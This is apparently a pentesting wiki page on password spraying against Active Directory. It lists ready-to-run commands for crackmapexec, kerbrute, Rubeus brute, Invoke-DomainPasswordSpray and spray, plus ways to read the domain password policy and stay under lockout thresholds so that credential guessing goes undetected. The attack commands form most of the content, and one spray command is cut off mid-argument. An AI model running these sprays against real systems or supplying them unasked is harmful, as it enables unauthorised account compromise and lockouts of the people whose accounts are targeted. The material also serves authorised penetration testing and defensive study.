79 lines
2.8 KiB
Markdown
79 lines
2.8 KiB
Markdown
# Password Spraying
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## **Password Spraying**
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Once you have found several **valid usernames** you can try the most **common passwords** \(keep in mind the password policy of the environment\) with each of the discovered users.
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By **default** the **minimum** **password** **length** is **7**.
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Lists of common usernames could also be useful: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
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Notice that you **could lockout some accounts if you try several wrong passwords** \(by default more than 10\).
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### Get password policy
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If you have some user credentials or a shell as a domain user you can get the password policy with:
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* `crackmapexec <IP> -u 'user' -p 'password' --pass-pol`
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* `enum4linx -u 'username' -p 'password' -P <IP>`
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* `(Get-DomainPolicy)."System Access" #From powerview`
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### Exploitation
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Using **crackmapexec:**
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```bash
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crackmapexec smb <IP> -u users.txt -p passwords.txt
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```
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Using [kerbrute](https://github.com/TarlogicSecurity/kerbrute)\(python\) - NOT RECOMMENDED SOMETIMES DOESN'T WORK
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```bash
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python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
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python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
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```
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**Kerbrute** also tells if a username is valid.
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Using [kerbrute](https://github.com/ropnop/kerbrute)\(Go\)
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```bash
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./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com domain_users.txt Password123
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./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com passwords.lst thoffman
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```
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With [Rubeus](https://github.com/Zer1t0/Rubeus) version with brute module:
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```bash
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# with a list of users
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.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>
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# check passwords for all users in current domain
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.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
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```
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With the `scanner/smb/smb_login` module of Metasploit:
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With [Invoke-DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1)
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```bash
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Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
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```
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or **spray** \(read next section\).
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### Lockout check
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The best way is not to try with more than 5/7 passwords per account.
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So you have to be very careful with password spraying because you could lockout accounts. To brute force taking this into mind, you can use _**spray:**_
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```bash
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apt-get install spray
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spray -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPe
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```
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\*\*\*\*[**More information and rudimentary password spray techniques in ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying)\*\*\*\*
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